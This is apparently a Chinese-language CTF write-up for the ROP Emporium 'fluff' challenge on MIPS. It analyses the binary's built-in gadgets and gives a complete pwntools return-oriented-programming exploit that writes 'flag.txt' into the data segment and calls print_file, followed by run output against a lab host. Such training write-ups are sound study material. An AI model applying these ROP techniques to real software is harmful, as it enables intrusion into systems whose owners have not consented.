emm,说实话这道题目我没有看懂具体是想要做什么、绕过什么,是根据内置的gadgets来推断exp该怎么写的。
程序内置questionableGadgets分析 ropemporium中的程序总是会内置一些官方提供的gadgets,也是为了让练习者更加专心于控制ROP本身而不用花费太多功夫在寻找gadget上。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 .text:00400930 questionableGadgets: .text:00400930 lw $t9, 8($sp) .text:00400934 lw $t4, 4($sp) .text:00400938 xor $s1, $s1 .text:0040093C li $a0, 0x412C70 .text:00400944 jalr $t9 .text:00400948 addi $sp, 0xC .text:0040094C lw $t9, 8($sp) .text:00400950 lw $s2, 4($sp) .text:00400954 li $t4, 0x412C74 .text:0040095C jalr $t9 .text:00400960 addi $sp, 0xC .text:00400964 lw $t9, 4($sp) .text:00400968 xor $s1, $s2 .text:0040096C li $a1, 0x411500 .text:00400974 jalr $t9 .text:00400978 addi $sp, 8 .text:0040097C lw $t9, 4($sp) .text:00400980 xor $s0, $s1 .text:00400984 xor $s1, $s0, $s1 .text:00400988 xor $s0, $s1 .text:0040098C li $t5, 0x411504 .text:00400994 jalr $t9 .text:00400998 addi $sp, 8 .text:0040099C lw $t9, 4($sp) .text:004009A0 sw $s1, 0($s0) .text:004009A4 jalr $t9 .text:004009A8 addi $sp, 8 .text:004009AC lw $a0, 8($sp) .text:004009B0 lw $t9, 4($sp) .text:004009B4 jalr $t9 .text:004009B8 addi $sp, 0xC .text:004009BC nop
0x00400930:gadget_clear_s1 该gadget的作用就是清零s1寄存器,其他的寄存器操作例如t4、a0都是干扰项
1 2 3 4 5 6 .text:00400930 08 00 B9 8F lw $t9, 8($sp) .text:00400934 04 00 AC 8F lw $t4, 4($sp) .text:00400938 26 88 31 02 xor $s1, $s1 # 清零s1 .text:0040093C 41 00 04 3C 70 2C 84 34 li $a0, "A,p" .text:00400944 09 F8 20 03 jalr $t9 .text:00400948 0C 00 BD 23 addi $sp, 0xC
0x00400948:gadget_get_s2 该gadget的作用是从栈上[sp+4]取出值,写入到s2寄存器中
1 2 3 4 5 .text:0040094C 08 00 B9 8F lw $t9, 8($sp) # 下一个gadget地址 .text:00400950 04 00 B2 8F lw $s2, 4($sp) # 获取s2的值 .text:00400954 41 00 0C 3C 74 2C 8C 35 li $t4, "A,t" .text:0040095C 09 F8 20 03 jalr $t9 .text:00400960 0C 00 BD 23 addi $sp, 0xC
0x00400960:gadget_write_s1 该gadget的作用是,从s2寄存器中取出值,然后放到s1寄存器中。当然,必须提前对s1寄存器进行清零,也就是调用gadget_clear_s1
1 2 3 4 5 .text:00400964 04 00 B9 8F lw $t9, 4($sp) # 下一个gadget地址 .text:00400968 26 88 32 02 xor $s1, $s2 # s1 = s1 ^ s2 .text:0040096C 41 00 05 3C 00 15 A5 34 li $a1, 0x411500 .text:00400974 09 F8 20 03 jalr $t9 .text:00400978 08 00 BD 23 addi $sp, 8
0x0040097C gadget_echg_s1_s0 该gadget的作用是,交换寄存器s0和s1的值。那三条xor指令,就是利用了xor的结合律和交换律,达到s0和s1值互换的目的。 通过这条gadget可以将s1的值写入到s0中,这样就等价于可以控制两个寄存器的值。s0和s1在后面的gadget也用于写入数据到地址
1 2 3 4 5 6 7 .text:0040097C 04 00 B9 8F lw $t9, 4($sp) .text:00400980 26 80 11 02 xor $s0, $s1 # gadget_echg_s1_s0 .text:00400984 26 88 11 02 xor $s1, $s0, $s1 .text:00400988 26 80 11 02 xor $s0, $s1 .text:0040098C 41 00 0D 3C 04 15 AD 35 li $t5, 0x411504 .text:00400994 09 F8 20 03 jalr $t9 .text:00400998 08 00 BD 23 addi $sp, 8
0x0040099C gadget_write_data 该gadget的作用是,将s1的值写入到s0值指向的地址。
1 2 3 4 .text:0040099C 04 00 B9 8F lw $t9, 4($sp) # gadget_write_data .text:004009A0 00 00 11 AE sw $s1, 0($s0) # s1中放值,s0放地址 .text:004009A4 09 F8 20 03 jalr $t9 .text:004009A8 08 00 BD 23 addi $sp, 8
0x004009AC print_file 该gadget的作用是,调用print_file函数。
1 2 3 4 .text:004009AC 08 00 A4 8F lw $a0, 8($sp) # 调用print_file函数 .text:004009B0 04 00 B9 8F lw $t9, 4($sp) .text:004009B4 09 F8 20 03 jalr $t9 .text:004009B8 0C 00 BD 23 addi $sp, 0xC
通过上面的gadget合集分析,可以得出,大概的ROP构造思路是:
溢出劫持控制流
分两次将flag.txt写入到data段
gadget_get_s2:s2寄存器是可控输入源
gadget_clear_s1:清零s1,因为写入s1是通过s1 = s1 ^ s2实现的
gadget_write_s1:写入s1
gadget_echg_s1_s0:先保证写入了s0,然后写入s1
gadget_get_s2
gadget_clear_s1
gadget_write_s1
gadget_write_data:将四个字节写入到data段
调用print_file函数
rop构造 返回地址保存sp+0x3C,缓冲区位于sp+18h,因此填充0x24后,开始劫持控制流。
1 2 rop = b"A" * 0x24 rop += gadget_get_s2
如下就是将4个字节写入指定地址,重复执行两次就可以将flag.txt写入到data段中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 rop += b"B" * 4 rop += p32(0x00411000 ) rop += gadget_clear_s1 rop += b"B" * 4 rop += b"B" * 4 rop += gadget_write_s1 rop += b"B" * 4 rop += gadget_echg_s1_s0 rop += b"B" * 4 rop += gadget_get_s2 rop += b"B" * 4 rop += b"flag" rop += gadget_clear_s1 rop += b"B" * 4 rop += b"B" * 4 rop += gadget_write_s1 rop += b"B" * 4 rop += gadget_write_data
最后就是调用print_file函数
exp 非常粗糙的一个exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 from pwn import *BINARY = "./fluff_mipsel" ELF = ELF(BINARY) context.os = "linux" context.arch = "mips" context.binary = BINARY gadget_get_s2 = p32(0x0040094C ) gadget_clear_s1 = p32(0x00400930 ) gadget_write_s1 = p32(0x00400964 ) gadget_echg_s1_s0 = p32(0x0040097C ) gadget_write_data = p32(0x0040099C ) gadget_call_print = p32(0x004009AC ) rop = b"A" * 0x24 rop += gadget_get_s2 rop += b"B" * 4 rop += p32(0x00411000 ) rop += gadget_clear_s1 rop += b"B" * 4 rop += b"B" * 4 rop += gadget_write_s1 rop += b"B" * 4 rop += gadget_echg_s1_s0 rop += b"B" * 4 rop += gadget_get_s2 rop += b"B" * 4 rop += b"flag" rop += gadget_clear_s1 rop += b"B" * 4 rop += b"B" * 4 rop += gadget_write_s1 rop += b"B" * 4 rop += gadget_write_data rop += b"B" * 4 rop += gadget_get_s2 rop += b"B" * 4 rop += p32(0x00411004 ) rop += gadget_clear_s1 rop += b"B" * 4 rop += b"B" * 4 rop += gadget_write_s1 rop += b"B" * 4 rop += gadget_echg_s1_s0 rop += b"B" * 4 rop += gadget_get_s2 rop += b"B" * 4 rop += b".txt" rop += gadget_clear_s1 rop += b"B" * 4 rop += b"B" * 4 rop += gadget_write_s1 rop += b"B" * 4 rop += gadget_write_data rop += b"B" * 4 rop += gadget_call_print rop += b"B" * 4 rop += p32(ELF.symbols["print_file" ]) rop += p32(0x00411000 ) with open ("raw" , "wb" ) as f: f.write(rop) p = remote("10.0.0.2" , 8888 ) p.sendline(rop) print (p.recvline_contains(b"ROPE" ))
结果如下:
1 2 3 4 5 6 7 8 9 10 $ python3 fluff.py [*] '/home/utest/Code/mipsrop/fluff_mipsel/fluff_mipsel' Arch: mips-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) RUNPATH: b'.' [+] Opening connection to 10.0.0.2 on port 9999: Done b'ROPE{a_placeholder_32byte_flag!}'
参考链接